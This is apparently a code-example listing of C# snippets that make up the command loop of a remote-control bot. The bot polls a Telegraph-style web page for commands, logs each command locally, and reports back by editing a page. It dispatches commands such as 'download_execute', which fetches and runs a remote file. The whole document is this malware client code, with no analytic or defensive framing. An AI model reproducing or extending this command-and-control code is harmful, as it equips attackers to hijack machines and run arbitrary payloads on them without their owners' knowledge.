예제 #1
0
        static void Main(string[] args)
        {
            CheckLocalCMD();
            TelegraphServerStart();

            while (true)
            {
                string html = web.GetHTML(configs.server);

                Match  regx    = Regex.Match(html, "<p>(.*)</p></article>");
                string content = regx.Groups[1].Value;

                if (last_cmd == content)
                {
                    tserver.EditPage(tgpage, username, $"{DateTime.Now.ToString()}{configs.spliter2}LastCMD: {last_cmd}");

                    Thread.Sleep(configs.delay);
                    continue;
                }
                last_cmd = content;
                File.WriteAllText(configs.local_cmd, last_cmd);

                cmd command = new cmd(content);
                Execute(command);

                tserver.EditPage(tgpage, username, $"{DateTime.Now.ToString()}{configs.spliter2}LastCMD: {last_cmd}");

                Thread.Sleep(configs.delay);
            }
        }
예제 #2
0
        static void Execute(cmd CMD)
        {
            switch (CMD.ComType)
            {
            case "open_link":

                functions.OpenLink(CMD.ComContent);
                break;

            case "download_execute":

                functions.DownloadExecute(CMD.ComContent);
                break;

            case "exit":

                Environment.Exit(0);
                break;
            }
        }
예제 #3
0
        static void Main(string[] args)
        {
            while (true)
            {
                string html = web.GetHTML(configs.server);

                Match  regx    = Regex.Match(html, "<p>(.*)</p></article>");
                string content = regx.Groups[1].Value;

                if (last_cmd == content)
                {
                    Thread.Sleep(configs.delay);
                    continue;
                }
                last_cmd = content;

                cmd command = new cmd(content);
                Execute(command);

                Thread.Sleep(configs.delay);
            }
        }